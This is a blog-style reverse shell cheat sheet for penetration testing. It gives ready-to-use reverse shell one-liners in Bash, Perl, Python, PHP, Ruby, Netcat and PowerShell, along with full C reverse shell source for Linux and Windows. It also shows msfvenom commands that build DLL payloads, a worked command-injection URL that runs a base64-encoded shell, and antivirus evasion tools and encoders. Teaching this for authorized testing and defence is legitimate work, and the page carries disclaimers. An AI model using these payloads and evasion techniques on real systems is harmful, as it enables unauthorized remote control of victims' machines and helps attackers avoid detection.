Reverse Shell Cheat Sheet 2023: A Quick Hack Reference Guide

2023 Reverse Shell Cheat Sheet Unlock Essential Hacking Tactics

Are you searching for a complete reverse shell cheat sheet that can strengthen your cybersecurity arsenal? You’ve come to the right place. 

This guide will be your one-stop for reverse shells by providing an in-depth understanding of their workings across various programming languages and techniques. 

We will explore shells and the difference between a bind and a reverse shell. We will walk you through one-liners, shell escapes, compiled reverse shells, and obfuscation methods.

As a cybersecurity professional or enthusiast, you’ll find this guide invaluable. Throughout the article, we’ll be with you every step of the way, offering detailed explanations and insights to ensure a thorough grasp of reverse shells. 

So, without further delay, let’s embark on this journey to master the art of the reverse shell.

How Do Reverse Shells Work?

So, how do these shells work? This section will explain the general concept of reverse shells and how to set up a listener to catch the shell.

Shells

During a penetration test or while doing a CTF, when you discover a remote command execution vulnerability, it’s common to want to establish a connection back to your attacking machine. This allows you to gain a shell, take full advantage of the compromised system, and interact with its file system, network, and other resources as if you were sitting in front of the machine.

When it comes to ethical hacking and penetration testing, there are two types of shells: a reverse shell and a bind shell. 

A reverse shell is when the target machine connects back to the attacker’s machine, which is listening for a connection, allowing the attacker to gain remote access to the target machine. On the other hand, a bind shell is when the target machine listens for incoming connections on a specified port, and the attacker machine connects to it.

So which type of shell should you choose?

When bypassing firewalls and network restrictions, a bind shell can be more difficult to set up because the attacker needs to find a port on the target machine that is not blocked by the firewall.

In contrast, a reverse shell can be easier to set up, especially during a penetration test. It only requires the attacker to open a port on their machine and wait for the target’s machine to connect. This approach is more secure for the client, as an open port for a bind shell could be spotted by a bad actor, potentially exposing the client’s system to unauthorized access.

Reverse shells are commonly used in penetration testing and ethical hacking, and understanding how to create and use them is essential.

Reverse Shell Command Generator

Say goodbye to the hassle of writing and modifying reverse shell one-liners! With our Reverse Shell Command Generator, you can simply say what language you want, and listening host and port number you’re using, and we will generate the command for you.

Setting up a Listener

Before the target machine can connect to you, you’ll want to set up a listener to listen for incoming connections. 

This listener listens for incoming connections on the IP and the port you specify. When the target system connects to the listener, the attacker gains remote control over it. 

The most popular way to set up a listener is with Netcat or Metasploit via its multi-handler. We will show you how to set up a listener in both.

Starting a listener in Netcat is easy. Let’s talk about what is happening in the command below. First, we start Netcat with the nc command and pass it the appropriate flags. 

Let’s break it down.

 -n tells Netcat not to perform DNS resolution on the incoming connection from the target machine.

-v stands for verbose and will print out messages in the terminal, such as when a connection is made.

-l tells Netcat to go into listening mode and listen for an incoming connection.

-p tells Netcat to listen on the port we provide, in this case, port 4444. 

In this command, Netcat will listen on any of your network interfaces. 

Setting up a Listener

A listener in Metasploit takes only a few steps to start up. First, in your terminal, type msfconsole -q (start msfconsole in quiet mode.) Next, we must load the multi-handler. We can load it using: use exploit/multi/handler.

Once loaded, we must set the options, such as the listening host (the IP we want the target machine to connect to – in most cases, our local Kali machine) and the listening port. Once our settings are in place, we can type run and wait for an incoming connection.

Listening host

We can also choose a payload but leave it as is for this example. There are many payload types, which we will look at in more depth In our section using MSFVenom.

Disclaimer:

The information provided in this blog post is intended for educational and informational purposes only. The techniques and methodologies discussed are designed to help security professionals, system administrators, and penetration testers improve their skills and understanding of reverse shell techniques.

Under no circumstances should the information in this post be used for malicious intent or on systems where you do not have explicit permission from the owner or administrator. 

Unauthorized access or use of systems, networks, or data is illegal and may result in criminal prosecution and/or civil liability under applicable laws.

Reverse Shell One Liners

A reverse shell cheat sheet would only be complete with the actual reverse shells. 

Reverse shell one-liners are compact, single-line commands that can establish a reverse shell. We can execute them on the target system using various methods, such as remote command execution, web shells, or injection vulnerabilities.

These one-liners are available in several programming languages and can be adapted to different situations. Our reverse shell cheat sheet includes the most popular ones.

Where you see <ip> and <port> in this section, this is the IP address and port you want the target machine to connect to. 

Bash

Bash is among the most popular shells available on nearly all Unix-based systems. Here is an example of a Bash one-liner:

bash -i >& /dev/tcp/<ip>/<port> 0>&1

This BASH one-liner opens an interactive shell (-i) and redirects the input, output, and error streams to a TCP socket (IP and port) connected to the attacker’s IP and port. The file descriptor 0>&1 links the input and output streams, permitting two-way communication between the attacker and the target.

Perl

Perl is a powerful scripting language commonly used in system administration. Here is an example of a Perl reverse shell one-liner:

perl -e 'use Socket;$i="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'

This Perl reverse shell establishes a TCP connection to the attacker’s IP and port, then links the standard input, output, and error streams to the socket. Then it initiates a shell on the targeted system once a connection is made.

Python

Python is a popular language for scripting and automation. Here are two examples of a Python reverse shell:

Linux Only

python3 -c 'import socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("<ip>", <port>)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); p=subprocess.call(["/bin/sh", "-i"]);'

Windows Only

python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('<ip>',<port>));threading.Thread(target=exec,args=(\"while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)\",globals()),daemon=True).start();threading.Thread(target=exec,args=(\"while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)\",globals())).start()"

To run the above commands, you need to have Python installed. Ensure you use the correct version of Python for your environment. As of this writing, the current version is three.

These Python one-liners import necessary libraries, create a TCP socket, connect it to the attacker’s IP and port, and finally call a shell on the target system. 

The Linux one duplicates the file descriptors to redirect the standard input, output, and error streams. 

The Windows one uses multithreading (performing multiple tasks simultaneously) to send the output from the shell process to the connected server and receive commands from the server.

PHP

PHP is a server-side scripting language commonly used in web development. Here is an example of a PHP  reverse shell one-liner:

php -r '$sock=fsockopen("<ip>",<port>);exec("sh <&3 >&3 2>&3");'

The PHP reverse shell one-liner opens a TCP socket and connects it to the attacker’s IP and port. It then executes a shell, redirecting the input, output, and error streams to the socket.

Ruby

Ruby is a scripting language commonly used for web development and system administration. Here is an example of a Ruby one-liner:

ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("<ip>",<port>))'

This Ruby one-liner creates a TCP socket, connects it to the attacker’s IP and port, and converts the file descriptor to an integer. It then executes a shell and redirects the input, output, and error streams to the socket.

Netcat

Netcat is a versatile networking tool for port scanning, file transfer, and more. Here is an example of a Netcat reverse shell one-liner:

nc -c bash <ip> <port>

The Netcat one-liner connects to the attacker’s IP and port, launching a Bash shell on the target system. The input and output are sent through the established connection, allowing the attacker to control the shell remotely.

PowerShell

PowerShell is a task automation and configuration management framework from Microsoft. Here is an example of a PowerShell one-liner:

powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('<ip>', <port>);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

This PowerShell one-liner creates a TCP client and connects it to the attacker’s IP and port. It reads and executes commands the attacker sends, capturing the output and sending it back through the established connection. The listener on the attacker’s side can then interpret and display the output.

If you are looking for a PowerShell cheat sheet, we have a great one, with our The Most Helpful PowerShell Cheat Sheet You’ll Ever Find.

Shell Escapes

Next in our reverse shell cheat sheet are shell escapes, also known as shell breakouts. These are techniques used to break out of restricted shell environments (dumb shells), such as a shell where the attacker is limited in what can be done, such as running commands, like su and ssh, which require a proper terminal. There may also be restrictions like the inability to properly use text editors like Vim or tab-complete.

The following list includes some of the most commonly used shell escapes. 

Python Shell Escape

python3 -c 'import pty;pty.spawn("/bin/bash")'

This Python shell escape imports the ‘pty’ module and spawns an interactive pseudo-terminal that can fool commands like su into thinking they are being executed in a proper terminal. It can escape restricted environments effectively.

Echo Shell Escape

echo os.system('/bin/bash')

The echo shell escape leverages the ‘os.system()’ function to execute a Bash shell. It can be used when Python code execution is possible, but direct shell access is restricted.

Simple Shell Escape

/bin/sh -i or /bin/bash -i

This simple shell escape executes an interactive shell on the target system. It can be used when direct access to the shell is available, but the environment is limited.

Perl Shell Escape

perl -e 'exec "/bin/bash";'

The Perl shell escape uses the ‘exec’ function to launch a Bash shell. It is useful when Perl code execution is possible, but direct shell access is restricted.

Compiled Reverse Shells

Compiled shells are binary programs executed directly on the target system without an interpreter. They can be written in C or C++ and compiled for the target platform. Compiled shells can be more stealthy and harder to detect than one-liners or scripts, as they can be disguised as legitimate executables or embedded within other applications.

 C Language Reverse Shell

Linux:

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

int main(void) {

    int sockfd;         

    int lportno = <port>;    

    struct sockaddr_in serv_addr;

    char *const params[] = {"/bin/sh",NULL};

    char *const environ[] = {NULL};

    sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    serv_addr.sin_family = AF_INET;

    serv_addr.sin_addr.s_addr = inet_addr("<ip>");

    serv_addr.sin_port = htons(lportno);  

    connect(sockfd, (struct sockaddr *) &serv_addr, 16);

    dup2(sockfd,0);

    dup2(0,1);

    dup2(0,2);

    execve("/bin/sh",params,environ);

}

This C code creates a reverse shell by first establishing a TCP socket and connecting it to the attacker’s IP and port. It then duplicates file descriptors to redirect the standard input, output, and error streams to the socket. Finally, it launches a shell using the ‘execve’ function.

Windows:

#include <winsock2.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#pragma comment(lib,"ws2_32")

WSADATA wsaData;

SOCKET Winsock;

struct sockaddr_in hax; 

char ip_addr[16] = "<ip>"; 

char port[6] = "<port>";            

STARTUPINFO ini_processo;

PROCESS_INFORMATION processo_info;

int main()

{

    WSAStartup(MAKEWORD(2, 2), &wsaData);

    Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    struct hostent *host; 

    host = gethostbyname(ip_addr);

    strncpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)), sizeof(ip_addr) - 1);

    hax.sin_family = AF_INET;

    hax.sin_port = htons(atoi(port));

    hax.sin_addr.s_addr = inet_addr(ip_addr);

    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

    memset(&ini_processo, 0, sizeof(ini_processo));

    ini_processo.cb = sizeof(ini_processo);

    ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 

    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

    TCHAR cmd[255] = TEXT("cmd.exe");

    CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);

    return 0;

}

This C code establishes a connection to a remote server using the specified IP address and port number. Once connected, it opens a command prompt (cmd.exe) and redirects its input, output, and error streams to the established connection.

To use these two shells, compile the C code into a binary executable and run it on the target system.

To compile the Linux reverse shell, install GCC if you haven’t already with sudo apt-get install build-essential

Next, save your file as linux_shell.c, then type the following in your Linux command line, creating an executable called linux_shell that you can run on the target machine.

gcc -o linux_shell linux_shell.c

To compile the Windows C shell code in Kali, ensure you install MinGW-w64. You can install it with the following command. sudo apt-get install mingw-w64

Save the file as windows_shell.c, and then in the Kali terminal, type the following: 

x86_64-w64-mingw32-gcc -o windows_shell.exe windows_shell.c -lws2_32

This will create the Windows exe file you can transfer and run on your target.

MSFVenom

MSFVenom is a powerful payload generation tool part of the Metasploit Framework. It can generate reverse shell payloads in various formats, including exe, elf, war, asp, and malicious DLL files. Staged and non-staged are two types of payloads generated by MSFVenom.

If you want a complete guide on Metasploit, check out our How to Use Metasploit in Kali Linux: A Step-By-Step Tutorial.

Staged payloads comprise a small initial payload that downloads and executes the full payload from the attacker’s system. This method is useful when size constraints are present. Non-staged payloads contain the entire payload within a single file, making them larger but more self-contained.

StagedNon-Staged
• Multi-step Execution
• Smaller size
• Harder to detect
• Enhanced functionality
• Slower execution

Example:
windows/meterpreter/reverse_tcp
• Single-step Execution
• Larger size
• Easier to detect
• Limited functionality
• Faster execution

Example:
windows/meterpreter_reverse_tcp
Staged

We will create one staged and one non-staged malicious dll payload in MSFvenom. To generate a payload, we must open a terminal and run MSFvenom.  Here is a breakdown of how to structure your payload. 

Staged:

Staged 2

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=443 -f dll > myshell.dll

In the above command, we are initiating MSFvenom and telling it we want to create a payload with the -p flag; next, we need to tell it which payload we will use. There are over 500 different payloads we can use. To see a list of payloads, type: msfvenom –list payloads

If you want to narrow your search down to only list Windows X64 payloads, you can use the grep command. msfvenom –list payloads | grep ‘Windows/X64’

Windows X64 payloads

Next, we tell it which host and port we will be listening on, defined by the LHOST and LPORT options. Finally, we tell it which file type we want our payload to use with the -f flag, and then we redirect the payload into a file with the > option.

Once the payload is created, you will need to move it onto the target system, and then once it’s been executed, your listener (in this case, multi-handler) will pick up the connection and give you a reverse shell to the system. 

Target system

Non-Staged:

On the other hand, a non-staged payload contains fewer parts and is much larger as the payload is sent at one time. The syntax for creating the payload in MSFvenom is very similar. Whereas in the staged payload, we would have a / between meterpreter and reverse_tcp, in this case, we include it together using an underscore.

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.110.130 LPORT=443 -f dll > myshell2.dll

Non-Staged

Obfuscation

Obfuscation is disguising or changing code to make it more difficult to understand, analyze, or reverse engineer. In reverse shells, obfuscation can help evade detection by security tools, such as antivirus software, intrusion detection systems, and firewalls.

Original Code

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.110.130",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Obfuscated Code (Base64)

cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgie2lwfSIse3BvcnR9KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi97c2hlbGx9Iikn

Here are a few ways you can obfuscate your shell below. 

Base64

The most common way hackers obfuscate code is by using Base64 encoding. We can obfuscate reverse shell code by converting it into a string of ASCII characters. This encoded string can then be decoded and executed on the target system. 

Let’s use the Bash reverse shell one-liner below and a command execution vulnerability in the URL handling of a web page as an example.

bash -i >& /dev/tcp/<ip>/<port> 0>&1

We discover that we can inject arbitrary commands by manipulating the file path parameter in the URL. 

Let’s say we find a URL like https://example.com/view?file=page.html;ls, that allows us to inject commands into the file parameter such as ls. Then we may try and inject the bash reverse shell but discover that it doesn’t work because certain characters in the one-liner are not allowed. This is where encoding the reverse shell in Base64 comes into play. 

The first step is to encode the reverse shell on your attacker machine using the following:

echo "bash -i >& /dev/tcp/192.168.110.130/443 0>&1" | base64

This will give you a Base64 encoded string representation of the reverse shell. 

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xMzAvNDQzIDA+JjEK

Next, we will append the URL with the following file path parameter:

https://example.com/view?file=page.html;echo%20"YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xMzAvNDQzIDA%2BJjEK"%20|%20base64%20--decode%20|%20bash

When the server processes the URL, it will decode the URL-encoded characters and execute the Bash one-liner—giving us a connection back to our system.

Encode as HTML

Encoding reverse shell code as HTML entities can help bypass certain security filters that may block or sanitize specific characters. You may run into a scenario where Base64 will not work but encoding as HTML entities will. 

We can use the example above but will encode the Bash one-liner using HTML entities this time. 

bash -i >& /dev/tcp/192.168.110.130/443 0>&1

We recommend using CyberChef as it’s a very efficient way of encoding and decoding text.

bash -i &gt;&amp; &sol;dev&sol;tcp&sol;192&period;168&period;110&period;130&sol;443 0&gt;&amp;

This encoded one-liner can now be used in the URL parameter as above. 

AV EvasionTools

Various tools can obfuscate reverse shell code, such as Veil and Shelter. These tools often employ multiple layers of obfuscation, including encoding, encryption, and polymorphism, to make the code more difficult to detect and analyze.

Some popular tools include:

  • Freeze: Freeze is designed to create payloads that bypass Endpoint Detection and Response (EDR) security measures, allowing for the discreet execution of shellcode.
  • Veil-Evasion: Veil is a tool created to produce Metasploit payloads capable of evading common antivirus systems.
  • Donut: Donut is a tool that allows running various file types, like VBScript, JScript, EXE, DLL, and dotNET assemblies, directly in a computer’s memory to avoid detection by memory scanners.
  • Evilgrade:  Evilgrade is a flexible framework enabling users to exploit weak update mechanisms by injecting fake updates into vulnerable systems.
  • Shellter:  Shellter is a dynamic shellcode injection tool to insert shellcode into native Windows applications (currently 32-bit.) It allows users to utilize custom shellcode or generate it using a framework like Metasploit.

Each tool works slightly differently, but they all transform the payload somehow to make it harder to detect. This can include adding junk code or changing the order of instructions.

MSFvenom Encoders

MSFvenom can generate payloads for you and help you encode them to allow you to attempt to avoid detection. MSFvenom has over forty built-in encoders. And you can see the full list by typing msfvenom –list encoders in the command line.

MSFvenom Encoders

Let’s run through an example encoding a dll payload using Shikata Ga Nai.

We can encode our MSFvenom payloads on the command line using the flag -e x86/shikata_ga_nai.

We can also have our code run through iterations (the number of times to apply the encoder) to help disguise it from an anti-virus. We do this with the -i command and the number of times we want the code to be iterated. 

code run through iterations

Conclusion

Understanding reverse shells and their implementation in various programming languages is crucial.  While many reverse shell options are available, choosing the one that best fits your needs is important. 

Consider the programming language you are most comfortable with and your specific scenario. For example, use a PowerShell reverse shell when dealing with a Windows system.

This article has provided a comprehensive reverse shell cheat sheet covering one-liners, shell escapes, compiled shells, and obfuscation techniques.

Finally, remember only to use what you’ve learned on systems you have consent to test on.

FAQs

Level Up in Cyber Security: Join VIP Membership Today!

vip cta image
vip cta details
  • Richard Dezso

    Richard is a cyber security enthusiast, eJPT, and ICCA who loves discovering new topics and never stops learning. In his home lab, he's always working on sharpening his offensive cyber security skills. He shares helpful advice through easy-to-understand blog posts that offer practical support for everyone. Additionally, Richard is dedicated to raising awareness for mental health. You can find Richard on LinkedIn, or to see his other projects, visit his Linktree.

  • Chris says:

    Thanks great write up

  • >